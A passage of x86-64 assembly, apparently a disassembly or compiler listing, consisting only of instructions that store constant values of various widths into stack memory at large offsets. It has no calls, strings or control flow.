mov qword [rsp + 0x6758], rax
movabs rax, 0x7e4906549028a9
mov qword [rsp + 0x6760], rax
mov byte [rsp + 0x12a], 0xe2
movabs rax, 0x709ca8ffb9d859
mov qword [rsp + 0x6768], rax
mov eax, 0x5e6
mov word [rsp + 0xb80], ax
movabs rax, 0x759602454af7f6
mov qword [rsp + 0x6770], rax
mov eax, 0x2a
mov word [rsp + 0xb84], ax
movabs rax, 0x72e94603837d3c
mov qword [rsp + 0x6778], rax
mov byte [rsp + 0x12b], 0x63
movabs rax, 0x7396b32c0878a1
mov qword [rsp + 0x6780], rax
mov dword [rsp + 0x343c], 0x4c2a
mov eax, 0x79d
mov word [rsp + 0xb88], ax
movabs rax, 0x72b3640a78f4ff
mov qword [rsp + 0x6788], rax
movabs rax, 0x76bf4d95e0a541
mov qword [rsp + 0x6790], rax
mov dword [rsp + 0x3440], 0x765e
mov eax, 0x537
mov word [rsp + 0xb8c], ax
mov byte [rsp + 0x12c], 0x24
movabs rax, 0x79690a114ec73c
mov qword [rsp + 0x6798], rax
mov eax, 0xf95
mov word [rsp + 0xb90], ax
mov eax, 0x6af
mov word [rsp + 0xb94], ax
mov dword [rsp + 0x3444], 0x3c30
mov dword [rsp + 0x3448], 0x384e
mov dword [rsp + 0x344c], 0x5560
mov eax, 0x168
mov word [rsp + 0xb98], ax
mov eax, 0x4e
mov word [rsp + 0xb9c], ax
movabs rax, 0x7b2b89679b065e
mov qword [rsp + 0x67a0], rax
mov dword [rsp + 0x3450], 0xcf44
mov byte [rsp + 0x12d], 0x27
movabs rax, 0x718d4eaaeb5947
mov qword [rsp + 0x67a8], rax
mov byte [rsp + 0x12e], 0x41
movabs rax, 0x7929723dd1706d
mov qword [rsp + 0x67b0], rax
movabs rax, 0x7ab14aca863c1d
mov qword [rsp + 0x67b8], rax
mov eax, 0x123
mov word [rsp + 0xba0], ax
mov dword [rsp + 0x3454], 0x367c
movabs rax, 0x792ac1c2d8abd4
mov qword [rsp + 0x67c0], rax
movabs rax, 0x70a8620a7bfaf0
mov qword [rsp + 0x67c8], rax
mov dword [rsp + 0x3458], 0x278f
mov eax, 0xf31
mov word [rsp + 0xba4], ax
mov eax, 0x817
mov word [rsp + 0xba8], ax
mov byte [rsp + 0x12f], 0xe6
movabs rax, 0x768f21ece73139
mov qword [rsp + 0x67d0], rax
movabs rax, 0x798684161f90f8
mov qword [rsp + 0x67d8], rax
mov dword [rsp + 0x345c], 0x4cff
mov dword [rsp + 0x3460], 0x7e9f
mov eax, 0x214
mov word [rsp + 0xbac], ax
movabs rax, 0x766679493d99d5
mov qword [rsp + 0x67e0], rax
mov dword [rsp + 0x3464], 0x28de
movabs rax, 0x7e98ea814d54ba
mov qword [rsp + 0x67e8], rax
mov dword [rsp + 0x3468], 0x64c1
movabs rax, 0x75da419ef680da
mov qword [rsp + 0x67f0], rax
mov eax, 0xa0c
mov word [rsp + 0xbb0], ax
mov dword [rsp + 0x346c], 0x1753
mov byte [rsp + 0x130], 0xc6
mov byte [rsp + 0x131], 0xdc
mov dword [rsp + 0x3470], 0x6d79
mov eax, 0x703
mov word [rsp + 0xbb4], ax
mov eax, 0x45d
mov word [rsp + 0xbb8], ax
mov dword [rsp + 0x3474], 0x1fc2
mov byte [rsp + 0x132], 0x45
mov eax, 0xb00
mov word [rsp + 0xbbc], ax
movabs rax, 0x798c4c4a61d7a6
mov qword [rsp + 0x67f8], rax
movabs rax, 0x745c258100c32b
mov qword [rsp + 0x6800], rax
mov dword [rsp + 0x3478], 0x2695
mov eax, 0x92a
mov word [rsp + 0xbc0], ax
movabs rax, 0x753f6174745269
mov qword [rsp + 0x6808], rax
movabs rax, 0x7e7bd82578899d
mov qword [rsp + 0x6810], rax
mov dword [rsp + 0x347c], 0x557c
mov dword [rsp + 0x3480], 0x688e
mov byte [rsp + 0x133], 0x35
mov eax, 0xf40
mov word [rsp + 0xbc4], ax
movabs rax, 0x7c959852be362a
mov qword [rsp + 0x6818], rax
mov eax, 0x78f
mov word [rsp + 0xbc8], ax
movabs rax, 0x7e65f4f4b701cf
mov qword [rsp + 0x6820], rax
mov dword [rsp + 0x3484], 0xda81
movabs rax, 0x7e1e95c979c799
mov qword [rsp + 0x6828], rax
mov byte [rsp + 0x134], 0xc0
movabs rax, 0x77834a5fcb1da1
mov qword [rsp + 0x6830], rax
mov dword [rsp + 0x3488], 0x190c
mov byte [rsp + 0x135], 0x40
movabs rax, 0x7b796dadb07657
mov qword [rsp + 0x6838], rax
mov eax, 0x868
mov word [rsp + 0xbcc], ax
movabs rax, 0x744a578861e981
mov qword [rsp + 0x6840], rax
movabs rax, 0x760c053f9f4bef
mov qword [rsp + 0x6848], rax
mov dword [rsp + 0x348c], 0x3084
mov byte [rsp + 0x136], 0xfb
mov eax, 0x79c
mov word [rsp + 0xbd0], ax
mov dword [rsp + 0x3490], 0xa13
mov eax, 0x1ee
mov word [rsp + 0xbd4], ax
mov byte [rsp + 0x137], 0x51
mov dword [rsp + 0x3494], 0x2ef6
movabs rax, 0x74759b257edd43
mov qword [rsp + 0x6850], rax
mov dword [rsp + 0x3498], 0x464d
mov eax, 0xbd0
mov word [rsp + 0xbd8], ax
mov eax, 0x379
mov word [rsp + 0xbdc], ax
mov dword [rsp + 0x349c], 0x2d70
movabs rax, 0x7ee73d8321978f
mov qword [rsp + 0x6858], rax
mov byte [rsp + 0x138], 0x63
mov byte [rsp + 0x139], 0x40
mov byte [rsp + 0x13a], 0x9c
movabs rax, 0x7d680e4e4c83d5
mov qword [rsp + 0x6860], rax
mov dword [rsp + 0x34a0], 0x1b5e
mov byte [rsp + 0x13b], 0x7f
mov byte [rsp + 0x13c], 0xc7
mov byte [rsp + 0x13d], 0x20
mov byte [rsp + 0x13e], 0xf8
movabs rax, 0x79de78763e0d70
mov qword [rsp + 0x6868], rax
mov byte [rsp + 0x13f], 0x58
mov byte [rsp + 0x140], 0x53
mov eax, 0x229
mov word [rsp + 0xbe0], ax
movabs rax, 0x7856f61a11435f
mov qword [rsp + 0x6870], rax
mov eax, 0x39d
mov word [rsp + 0xbe4], ax
mov eax, 0x5b6
mov word [rsp + 0xbe8], ax
mov byte [rsp + 0x141], 0x46
movabs rax, 0x717da9069434d0
mov qword [rsp + 0x6878], rax
mov eax, 0x663
mov word [rsp + 0xbec], ax
movabs rax, 0x76e612c486fe18
mov qword [rsp + 0x6880], rax
mov byte [rsp + 0x142], 2
mov eax, 0xc62
mov word [rsp + 0xbf0], ax
mov byte [rsp + 0x143], 0x5b
mov byte [rsp + 0x144], 0xfe
mov dword [rsp + 0x34a4], 0x1f4c
mov byte [rsp + 0x145], 0x70
mov dword [rsp + 0x34a8], 0x6403
movabs rax, 0x7a4e44840eca7e
mov qword [rsp + 0x6888], rax
mov dword [rsp + 0x34ac], 0x5a54
mov eax, 0x5bb
mov word [rsp + 0xbf4], ax
movabs rax, 0x75a18750b73e6d
mov qword [rsp + 0x6890], rax
mov byte [rsp + 0x146], 0x96
movabs rax, 0x7d9a6232d8f51f
mov qword [rsp + 0x6898], rax
movabs rax, 0x7809051c116074
mov qword [rsp + 0x68a0], rax
movabs rax, 0x773b2de64a7529
mov qword [rsp + 0x68a8], rax
movabs rax, 0x7980c2409056bf
mov qword [rsp + 0x68b0], rax
movabs rax, 0x73e454932f0d93
mov qword [rsp + 0x68b8], rax
movabs rax, 0x752e3d5f9a9feb
mov qword [rsp + 0x68c0], rax
movabs rax, 0x7e3f67cf332d2e
mov qword [rsp + 0x68c8], rax
movabs rax, 0x7e74c9561897fd
mov qword [rsp + 0x68d0], rax
mov eax, 0x8cf
mov word [rsp + 0xbf8], ax
movabs rax, 0x777c5e6642e116
mov qword [rsp + 0x68d8], rax
mov eax, 0x92d
mov word [rsp + 0xbfc], ax
movabs rax, 0x7ee8d365b25e54
mov qword [rsp + 0x68e0], rax
mov dword [rsp + 0x34b0], 0x5f08
mov dword [rsp + 0x34b4], 0x25ac
movabs rax, 0x7d81c805d6ad4b
mov qword [rsp + 0x68e8], rax
mov eax, 0x5ce
mov word [rsp + 0xc00], ax
mov byte [rsp + 0x147], 0xbd
mov eax, 0xbf6
mov word [rsp + 0xc04], ax
movabs rax, 0x7a8323665c5ca4
mov qword [rsp + 0x68f0], rax
movabs rax, 0x7d98afa529cc8e
mov qword [rsp + 0x68f8], rax
movabs rax, 0x77deef8623febc
mov qword [rsp + 0x6900], rax
mov dword [rsp + 0x34b8], 0x6010
movabs rax, 0x7120576c779559
mov qword [rsp + 0x6908], rax
mov eax, 0xb9
mov word [rsp + 0xc08], ax
mov dword [rsp + 0x34bc], 0x5999
mov dword [rsp + 0x34c0], 0x3572
mov dword [rsp + 0x34c4], 0x89a4
mov dword [rsp + 0x34c8], 0x5c71
mov byte [rsp + 0x148], 0x21
mov dword [rsp + 0x34cc], 0xf75
movabs rax, 0x7bf01f6bdbe3f1
mov qword [rsp + 0x6910], rax
movabs rax, 0x72bb120d668f23
mov qword [rsp + 0x6918], rax
mov dword [rsp + 0x34d0], 0xf46a
mov eax, 0x222
mov word [rsp + 0xc0c], ax
mov eax, 0x190
mov word [rsp + 0xc10], ax
mov byte [rsp + 0x149], 0xd9
mov byte [rsp + 0x14a], 0x91
mov byte [rsp + 0x14b], 0x22
mov dword [rsp + 0x34d4], 0x8567
mov eax, 0x9f5
mov word [rsp + 0xc14], ax
movabs rax, 0x76acf817b62271
mov qword [rsp + 0x6920], rax
movabs rax, 0x7e3a520610cd69
mov qword [rsp + 0x6928], rax
mov eax, 0x745
mov word [rsp + 0xc18], ax
mov eax, 0xeac
mov word [rsp + 0xc1c], ax
mov eax, 0x25f
mov word [rsp + 0xc20], ax
movabs rax, 0x703d3fa86368f3
mov qword [rsp + 0x6930], rax
mov byte [rsp + 0x14c], 0x70
mov byte [rsp + 0x14d], 0x74
movabs rax, 0x7d39b61e282f15
mov qword [rsp + 0x6938], rax
mov byte [rsp + 0x14e], 0x43
mov eax, 0x704
mov word [rsp + 0xc24], ax
mov dword [rsp + 0x34d8], 0xbbde
mov eax, 0x4c2
mov word [rsp + 0xc28], ax
mov eax, 0x3cc
mov word [rsp + 0xc2c], ax
movabs rax, 0x789efbef153121
mov qword [rsp + 0x6940], rax
movabs rax, 0x73165d354f9c95
mov qword [rsp + 0x6948], rax
movabs rax, 0x7035a21bec03e5
mov qword [rsp + 0x6950], rax
mov eax, 0xf9a
mov word [rsp + 0xc30], ax
mov eax, 0xa4b
mov word [rsp + 0xc34], ax
mov eax, 0x891
mov word [rsp + 0xc38], ax
mov eax, 0x38e
mov word [rsp + 0xc3c], ax
mov dword [rsp + 0x34dc], 0xe6b8
mov dword [rsp + 0x34e0], 0x369
mov eax, 0x237
mov word [rsp + 0xc40], ax
movabs rax, 0x744a4979d0968e
mov qword [rsp + 0x6958], rax
mov byte [rsp + 0x14f], 0x84
movabs rax, 0x7107ffa683efc3
mov qword [rsp + 0x6960], rax
mov byte [rsp + 0x150], 0x29
mov eax, 0x653
mov word [rsp + 0xc44], ax
mov eax, 0x6a6
mov word [rsp + 0xc48], ax
mov eax, 0xb47
mov word [rsp + 0xc4c], ax
mov dword [rsp + 0x34e4], 0x9230
mov eax, 0x6b9
mov word [rsp + 0xc50], ax
movabs rax, 0x748d62184ea5b0
mov qword [rsp + 0x6968], rax
mov byte [rsp + 0x151], 0x8a
mov eax, 0xaee
mov word [rsp + 0xc54], ax
mov byte [rsp + 0x152], 0x69
movabs rax, 0x7c11e3fb2bad8b
mov qword [rsp + 0x6970], rax
mov byte [rsp + 0x153], 0x60
mov dword [rsp + 0x34e8], 0x446f
mov eax, 0x2de
mov word [rsp + 0xc58], ax
movabs rax, 0x72ca2ef2c216df
mov qword [rsp + 0x6978], rax
mov dword [rsp + 0x34ec], 0x2b3d
mov eax, 0x5dc
mov word [rsp + 0xc5c], ax
mov dword [rsp + 0x34f0], 0x2088
movabs rax, 0x765bc6fbbb9b46
mov qword [rsp + 0x6980], rax
movabs rax, 0x722f4b112f3d3f
mov qword [rsp + 0x6988], rax
mov dword [rsp + 0x34f4], 0x680d
mov dword [rsp + 0x34f8], 0x2d5c
mov dword [rsp + 0x34fc], 0xba86
movabs rax, 0x7db3a91e50b211
mov qword [rsp + 0x6990], rax
movabs rax, 0x7c87ede908c928
mov qword [rsp + 0x6998], rax
movabs rax, 0x740a2c3fa47148
mov qword [rsp + 0x69a0], rax
mov dword [rsp + 0x3500], 0x929d
mov dword [rsp + 0x3504], 0x505b
movabs rax, 0x711cc3e38a0174
mov qword [rsp + 0x69a8], rax
mov dword [rsp + 0x3508], 0x41e2
mov byte [rsp + 0x154], 0xd9
mov dword [rsp + 0x350c], 0xfdd3
movabs rax, 0x78a4488bf5ade5
mov qword [rsp + 0x69b0], rax
mov eax, 0x48c
mov word [rsp + 0xc60], ax
movabs rax, 0x780f44cb46f268
mov qword [rsp + 0x69b8], rax
mov dword [rsp + 0x3510], 0x33c6
mov eax, 0x1de
mov word [rsp + 0xc64], ax
mov eax, 0xf14
mov word [rsp + 0xc68], ax
mov eax, 0xac7
mov word [rsp + 0xc6c], ax
mov byte [rsp + 0x155], 0x20
mov byte [rsp + 0x156], 0x3f
mov byte [rsp + 0x157], 0xea
mov eax, 0x84
mov word [rsp + 0xc70], ax
mov dword [rsp + 0x3514], 0x6d44
movabs rax, 0x70c4d2d0243a10
mov qword [rsp + 0x69c0], rax
mov dword [rsp + 0x3518], 0x70bb
movabs rax, 0x7ef41d21ea6cd0
mov qword [rsp + 0x69c8], rax
mov eax, 0x196
mov word [rsp + 0xc74], ax
movabs rax, 0x7056a421b958e3
mov qword [rsp + 0x69d0], rax
mov dword [rsp + 0x351c], 0x2cfe
mov eax, 0x141
mov word [rsp + 0xc78], ax
mov eax, 0x923
mov word [rsp + 0xc7c], ax
mov byte [rsp + 0x158], 0x1b
mov eax, 0x29d
mov word [rsp + 0xc80], ax
mov eax, 0x7fc
mov word [rsp + 0xc84], ax
movabs rax, 0x720d750ba735f6
mov qword [rsp + 0x69d8], rax
mov dword [rsp + 0x3520], 0xb38
mov eax, 0x5f0
mov word [rsp + 0xc88], ax
mov dword [rsp + 0x3524], 0x3f5d
mov eax, 0x1f5
mov word [rsp + 0xc8c], ax
movabs rax, 0x727b52463f2dea
mov qword [rsp + 0x69e0], rax
mov dword [rsp + 0x3528], 0x71d8
mov byte [rsp + 0x159], 0x18
movabs rax, 0x702ebc4b3881b3
mov qword [rsp + 0x69e8], rax
movabs rax, 0x76c8a0483c02bc
mov qword [rsp + 0x69f0], rax
movabs rax, 0x727abb939ce12f
mov qword [rsp + 0x69f8], rax
mov byte [rsp + 0x15a], 0xd3
mov dword [rsp + 0x352c], 0x98f5
movabs rax, 0x781de5e4aa450a
mov qword [rsp + 0x6a00], rax
mov eax, 0x3bc
mov word [rsp + 0xc90], ax
mov byte [rsp + 0x15b], 0x84
mov dword [rsp + 0x3530], 0x5cde
mov byte [rsp + 0x15c], 0xd2
movabs rax, 0x74f2159e95030a
mov qword [rsp + 0x6a08], rax
mov eax, 0xc28
mov word [rsp + 0xc94], ax
movabs rax, 0x7b56b2d8910068
mov qword [rsp + 0x6a10], rax
mov dword [rsp + 0x3534], 0x8ac8
mov eax, 0xf32
mov word [rsp + 0xc98], ax
movabs rax, 0x77efa47b8a9fe1
mov qword [rsp + 0x6a18], rax
mov dword [rsp + 0x3538], 0xbcc3
mov eax, 0x5ec
mov word [rsp + 0xc9c], ax
mov byte [rsp + 0x15d], 0x3b
mov eax, 0x460
mov word [rsp + 0xca0], ax
mov eax, 0x31c
mov word [rsp + 0xca4], ax
mov eax, 0x3c0
mov word [rsp + 0xca8], ax
mov dword [rsp + 0x353c], 0x5c83
mov byte [rsp + 0x15e], 0x10
movabs rax, 0x779a00841672fe
mov qword [rsp + 0x6a20], rax
mov eax, 0xb0d
mov word [rsp + 0xcac], ax
movabs rax, 0x744ea2588c89b1
mov qword [rsp + 0x6a28], rax
mov dword [rsp + 0x3540], 0x7047
mov dword [rsp + 0x3544], 0x491d
movabs rax, 0x78dbfa1c589d3b
mov qword [rsp + 0x6a30], rax
mov dword [rsp + 0x3548], 0x494a
movabs rax, 0x7eab0eb5ca1616
mov qword [rsp + 0x6a38], rax
mov byte [rsp + 0x15f], 0x46
mov byte [rsp + 0x160], 0x99
mov dword [rsp + 0x354c], 0x8d6e
mov dword [rsp + 0x3550], 0xe9b7
mov dword [rsp + 0x3554], 0x72a5
mov byte [rsp + 0x161], 0x6e
mov byte [rsp + 0x162], 0xe
mov byte [rsp + 0x163], 0x3c
mov eax, 0x79e
mov word [rsp + 0xcb0], ax
movabs rax, 0x72ff08af14fcfd
mov qword [rsp + 0x6a40], rax
movabs rax, 0x78e6208677502f
mov qword [rsp + 0x6a48], rax
mov byte [rsp + 0x164], 0x64
movabs rax, 0x72b39603ab8241
mov qword [rsp + 0x6a50], rax
mov byte [rsp + 0x165], 0xef
mov dword [rsp + 0x3558], 0x9b5e
movabs rax, 0x7d5262ba8d53dd
mov qword [rsp + 0x6a58], rax
movabs rax, 0x738306518ee3d8
mov qword [rsp + 0x6a60], rax
mov dword [rsp + 0x355c], 0x2cab
mov eax, 0xd16
mov word [rsp + 0xcb4], ax
mov dword [rsp + 0x3560], 0xe2a6
mov byte [rsp + 0x166], 6
movabs rax, 0x7c93c91fa8e226
mov qword [rsp + 0x6a68], rax
mov byte [rsp + 0x167], 0x11
movabs rax, 0x7a17dc2baa320a
mov qword [rsp + 0x6a70], rax
movabs rax, 0x7485db12df0f92
mov qword [rsp + 0x6a78], rax
movabs rax, 0x73f570910b28a0
mov qword [rsp + 0x6a80], rax
mov dword [rsp + 0x3564], 0xc3e5
movabs rax, 0x784ae548d2a922
mov qword [rsp + 0x6a88], rax
mov dword [rsp + 0x3568], 0x8cee
mov eax, 0x665
mov word [rsp + 0xcb8], ax
mov byte [rsp + 0x168], 0x51
movabs rax, 0x748197102199f2
mov qword [rsp + 0x6a90], rax
mov eax, 0xf3c
mov word [rsp + 0xcbc], ax
mov dword [rsp + 0x356c], 0x45fc
mov byte [rsp + 0x169], 0x39
mov byte [rsp + 0x16a], 0x1f
movabs rax, 0x75b6480b21c3a1
mov qword [rsp + 0x6a98], rax
movabs rax, 0x787fe0b47bdf06
mov qword [rsp + 0x6aa0], rax
mov eax, 0x7c2
mov word [rsp + 0xcc0], ax
mov dword [rsp + 0x3570], 0x4382
mov byte [rsp + 0x16b], 0x47
mov dword [rsp + 0x3574], 0x5eef
mov byte [rsp + 0x16c], 0xd8
movabs rax, 0x73bcaccb17c300
mov qword [rsp + 0x6aa8], rax
movabs rax, 0x736ecfb6f4993c
mov qword [rsp + 0x6ab0], rax
mov dword [rsp + 0x3578], 0x40d8
mov dword [rsp + 0x357c], 0x511
mov dword [rsp + 0x3580], 0x2c3b
mov eax, 0x150
mov word [rsp + 0xcc4], ax
mov byte [rsp + 0x16d], 0x5f
mov dword [rsp + 0x3584], 0x77a4
mov eax, 0x5f2
mov word [rsp + 0xcc8], ax
mov eax, 0xed7
mov word [rsp + 0xccc], ax
mov byte [rsp + 0x16e], 0x3c
mov eax, 0x1ab
mov word [rsp + 0xcd0], ax
mov eax, 0x99b
mov word [rsp + 0xcd4], ax
mov dword [rsp + 0x3588], 0x4a4
mov byte [rsp + 0x16f], 0x4f
movabs rax, 0x71dfb6eb2c0da9
mov qword [rsp + 0x6ab8], rax
movabs rax, 0x7b42d1895828e9
mov qword [rsp + 0x6ac0], rax
movabs rax, 0x7d2f2fd3251470
mov qword [rsp + 0x6ac8], rax
movabs rax, 0x7ae3b79183d5c9
mov qword [rsp + 0x6ad0], rax
mov eax, 0xa25
mov word [rsp + 0xcd8], ax
mov dword [rsp + 0x358c], 0x4356
mov eax, 0x52d
mov word [rsp + 0xcdc], ax
mov dword [rsp + 0x3590], 0x4bee
mov byte [rsp + 0x170], 0x21
mov dword [rsp + 0x3594], 0x9db4
movabs rax, 0x79b9b04f8d1ad0
mov qword [rsp + 0x6ad8], rax
movabs rax, 0x72f27957da1e0c
mov qword [rsp + 0x6ae0], rax
mov eax, 0x2ba
mov word [rsp + 0xce0], ax
mov dword [rsp + 0x3598], 0x7f47
mov byte [rsp + 0x171], 0x79
mov byte [rsp + 0x172], 0x6d
mov byte [rsp + 0x173], 0x41
mov eax, 0xec0
mov word [rsp + 0xce4], ax
mov eax, 0x770
mov word [rsp + 0xce8], ax
mov eax, 0x4fc
mov word [rsp + 0xcec], ax
movabs rax, 0x71ca9a9524d76a
mov qword [rsp + 0x6ae8], rax
mov dword [rsp + 0x359c], 0xa2be
mov dword [rsp + 0x35a0], 0x423
mov dword [rsp + 0x35a4], 0x7583
mov eax, 0x7e6
mov word [rsp + 0xcf0], ax
mov byte [rsp + 0x174], 9
mov byte [rsp + 0x175], 0xa3
mov dword [rsp + 0x35a8], 0x1f01
mov dword [rsp + 0x35ac], 0x2162
mov byte [rsp + 0x176], 0x41
mov eax, 0xbce
mov word [rsp + 0xcf4], ax
mov dword [rsp + 0x35b0], 0x5a86
mov eax, 0x3d8
mov word [rsp + 0xcf8], ax
mov eax, 0x43e
mov word [rsp + 0xcfc], ax
mov byte [rsp + 0x177], 0x7e
mov eax, 0x27d
mov word [rsp + 0xd00], ax
mov eax, 0xa0d
mov word [rsp + 0xd04], ax
mov eax, 0x50b
mov word [rsp + 0xd08], ax
mov byte [rsp + 0x178], 0xc7
mov eax, 0x633
mov word [rsp + 0xd0c], ax
movabs rax, 0x77aa4925eefed1
mov qword [rsp + 0x6af0], rax
mov byte [rsp + 0x179], 0xb
mov dword [rsp + 0x35b4], 0xe4d6
mov dword [rsp + 0x35b8], 0x7148
mov dword [rsp + 0x35bc], 0xa5a5
mov byte [rsp + 0x17a], 0xe0
mov byte [rsp + 0x17b], 0xfb
mov dword [rsp + 0x35c0], 0xadae
mov dword [rsp + 0x35c4], 0xd0ca
movabs rax, 0x7c32b893ed0192
mov qword [rsp + 0x6af8], rax
mov byte [rsp + 0x17c], 0x19
mov dword [rsp + 0x35c8], 0x5093
mov byte [rsp + 0x17d], 0x9c
mov dword [rsp + 0x35cc], 0x34e8
mov byte [rsp + 0x17e], 0x47
mov eax, 0x470
mov word [rsp + 0xd10], ax
mov byte [rsp + 0x17f], 0x4f
mov dword [rsp + 0x35d0], 0xb537
movabs rax, 0x7415e44046d4bb
mov qword [rsp + 0x6b00], rax
mov byte [rsp + 0x180], 0x2c
movabs rax, 0x7c0df2d2bd0a5a
mov qword [rsp + 0x6b08], rax
mov eax, 0x7ea
mov word [rsp + 0xd14], ax
movabs rax, 0x7b2373283f5184
mov qword [rsp + 0x6b10], rax
mov byte [rsp + 0x181], 0x3f
movabs rax, 0x7b93c14ebead37
mov qword [rsp + 0x6b18], rax
movabs rax, 0x7a2c63ff014526
mov qword [rsp + 0x6b20], rax
mov dword [rsp + 0x35d4], 0x3fa4
mov dword [rsp + 0x35d8], 0xb37
movabs rax, 0x74bb4b03b76f07
mov qword [rsp + 0x6b28], rax
movabs rax, 0x77965d7337246b
mov qword [rsp + 0x6b30], rax
mov eax, 0x327
mov word [rsp + 0xd18], ax
mov eax, 0x63a
mov word [rsp + 0xd1c], ax
mov byte [rsp + 0x182], 0x10
mov eax, 0x3c3
mov word [rsp + 0xd20], ax
mov byte [rsp + 0x183], 0x29
mov byte [rsp + 0x184], 0x95
mov dword [rsp + 0x35dc], 0x3fc8
movabs rax, 0x77f4c05d781fe8
mov qword [rsp + 0x6b38], rax
mov byte [rsp + 0x185], 0x43
movabs rax, 0x70f551f3affa12
mov qword [rsp + 0x6b40], rax
movabs rax, 0x7c629af39e3f4e
mov qword [rsp + 0x6b48], rax
mov eax, 0x1fb
mov word [rsp + 0xd24], ax
mov eax, 0x6dd
mov word [rsp + 0xd28], ax
movabs rax, 0x7c9c0f66232792
mov qword [rsp + 0x6b50], rax
mov byte [rsp + 0x186], 0x7c
mov dword [rsp + 0x35e0], 0x982c
mov eax, 0x38c
mov word [rsp + 0xd2c], ax
movabs rax, 0x79abe9f4af1e42
mov qword [rsp + 0x6b58], rax
mov byte [rsp + 0x187], 0x42
movabs rax, 0x797c31bec18d20
mov qword [rsp + 0x6b60], rax
movabs rax, 0x787a201fc52c1a
mov qword [rsp + 0x6b68], rax
movabs rax, 0x7100a84c4725cd
mov qword [rsp + 0x6b70], rax
mov eax, 0x859
mov word [rsp + 0xd30], ax
mov dword [rsp + 0x35e4], 0x23ac
movabs rax, 0x7d9599d65c862f
mov qword [rsp + 0x6b78], rax
mov byte [rsp + 0x188], 0xc0
mov byte [rsp + 0x189], 0x91
mov byte [rsp + 0x18a], 0x34
mov eax, 0xf57
mov word [rsp + 0xd34], ax
mov dword [rsp + 0x35e8], 0xa2d8
movabs rax, 0x705dde384a3024
mov qword [rsp + 0x6b80], rax
mov eax, 0x6fb
mov word [rsp + 0xd38], ax
mov dword [rsp + 0x35ec], 0xd771
mov dword [rsp + 0x35f0], 0xe8ba
mov eax, 0x254
mov word [rsp + 0xd3c], ax
mov dword [rsp + 0x35f4], 0x5926
mov eax, 0x1cb
mov word [rsp + 0xd40], ax
movabs rax, 0x76c4c58750c869
mov qword [rsp + 0x6b88], rax
movabs rax, 0x7e0ec109e69323
mov qword [rsp + 0x6b90], rax
movabs rax, 0x711c9ba572b022
mov qword [rsp + 0x6b98], rax
movabs rax, 0x7982415b730c58
mov qword [rsp + 0x6ba0], rax
mov eax, 0x2a7
mov word [rsp + 0xd44], ax
mov byte [rsp + 0x18b], 0x36
mov dword [rsp + 0x35f8], 0xaa9e
mov dword [rsp + 0x35fc], 0xc778
mov byte [rsp + 0x18c], 0xdd
movabs rax, 0x7acb7445d5f198
mov qword [rsp + 0x6ba8], rax
mov dword [rsp + 0x3600], 0x5407
mov byte [rsp + 0x18d], 0x2d
mov dword [rsp + 0x3604], 0x60e8
movabs rax, 0x7d906ce62eeaa2
mov qword [rsp + 0x6bb0], rax
mov dword [rsp + 0x3608], 0x53c
movabs rax, 0x77ee5168b7c76e
mov qword [rsp + 0x6bb8], rax
mov byte [rsp + 0x18e], 0x25
mov byte [rsp + 0x18f], 0x37
mov byte [rsp + 0x190], 0x17
movabs rax, 0x771d25fa4151c6
mov qword [rsp + 0x6bc0], rax
mov eax, 0xa9
mov word [rsp + 0xd48], ax
mov byte [rsp + 0x191], 0x1f
mov dword [rsp + 0x360c], 0x2a1b
mov eax, 0x71f
mov word [rsp + 0xd4c], ax
mov dword [rsp + 0x3610], 0xec62
mov eax, 0x55c
mov word [rsp + 0xd50], ax
mov dword [rsp + 0x3614], 0x790c
mov dword [rsp + 0x3618], 0x1e6d
movabs rax, 0x752a87cf8ebec6
mov qword [rsp + 0x6bc8], rax
mov eax, 0x3ed
mov word [rsp + 0xd54], ax
mov byte [rsp + 0x192], 0x89
movabs rax, 0x7bfba2e0c83c6f
mov qword [rsp + 0x6bd0], rax
movabs rax, 0x7d3e4e3baede5a
mov qword [rsp + 0x6bd8], rax
movabs rax, 0x7b30a623e9e946
mov qword [rsp + 0x6be0], rax
mov eax, 0x3a6
mov word [rsp + 0xd58], ax
mov byte [rsp + 0x193], 0x8f
movabs rax, 0x7865921696fa1d
mov qword [rsp + 0x6be8], rax
mov dword [rsp + 0x361c], 0x1159
movabs rax, 0x7a30ce858846c5
mov qword [rsp + 0x6bf0], rax
mov eax, 0xd80
mov word [rsp + 0xd5c], ax
movabs rax, 0x710c201caafeff
mov qword [rsp + 0x6bf8], rax
movabs rax, 0x77de37ed2d9dc7
mov qword [rsp + 0x6c00], rax
mov eax, 0x158
mov word [rsp + 0xd60], ax
mov byte [rsp + 0x194], 0xe3
movabs rax, 0x7b0416b0762d8b
mov qword [rsp + 0x6c08], rax
mov byte [rsp + 0x195], 0x10
movabs rax, 0x755cc6e6301976
mov qword [rsp + 0x6c10], rax
mov eax, 0x2a8
mov word [rsp + 0xd64], ax
mov eax, 0x4fe
mov word [rsp + 0xd68], ax
mov dword [rsp + 0x3620], 0x75d9
mov byte [rsp + 0x196], 0x3b
movabs rax, 0x75287eec955b2e
mov qword [rsp + 0x6c18], rax
mov dword [rsp + 0x3624], 0xddb8
mov eax, 0x427
mov word [rsp + 0xd6c], ax
mov byte [rsp + 0x197], 0x33
movabs rax, 0x79d060f50c74ce
mov qword [rsp + 0x6c20], rax
movabs rax, 0x78f5bff69e8454
mov qword [rsp + 0x6c28], rax
mov dword [rsp + 0x3628], 0x51dc
mov byte [rsp + 0x198], 0x2e
mov eax, 0xd99
mov word [rsp + 0xd70], ax
mov eax, 0x21d
mov word [rsp + 0xd74], ax
mov eax, 0x60c
mov word [rsp + 0xd78], ax
mov eax, 0x157
mov word [rsp + 0xd7c], ax
mov eax, 0x68d
mov word [rsp + 0xd80], ax
mov dword [rsp + 0x362c], 0x74f1
mov dword [rsp + 0x3630], 0x7908
movabs rax, 0x76748ea12bec3a
mov qword [rsp + 0x6c30], rax
mov dword [rsp + 0x3634], 0x3403
mov byte [rsp + 0x199], 0x55
mov eax, 0x6c6
mov word [rsp + 0xd84], ax
mov byte [rsp + 0x19a], 0xfa
mov dword [rsp + 0x3638], 0x6791
mov eax, 0x846
mov word [rsp + 0xd88], ax
mov eax, 0x6cc
mov word [rsp + 0xd8c], ax
movabs rax, 0x709e26eb12a88d
mov qword [rsp + 0x6c38], rax
mov dword [rsp + 0x363c], 0xb6d8
movabs rax, 0x7d4c66aaa9ee1b
mov qword [rsp + 0x6c40], rax
mov byte [rsp + 0x19b], 0xe4
movabs rax, 0x709c211608f3f8
mov qword [rsp + 0x6c48], rax
mov dword [rsp + 0x3640], 0x723
movabs rax, 0x77f0bfb033f0b2
mov qword [rsp + 0x6c50], rax
mov eax, 0x3d1
mov word [rsp + 0xd90], ax
mov dword [rsp + 0x3644], 0x2550
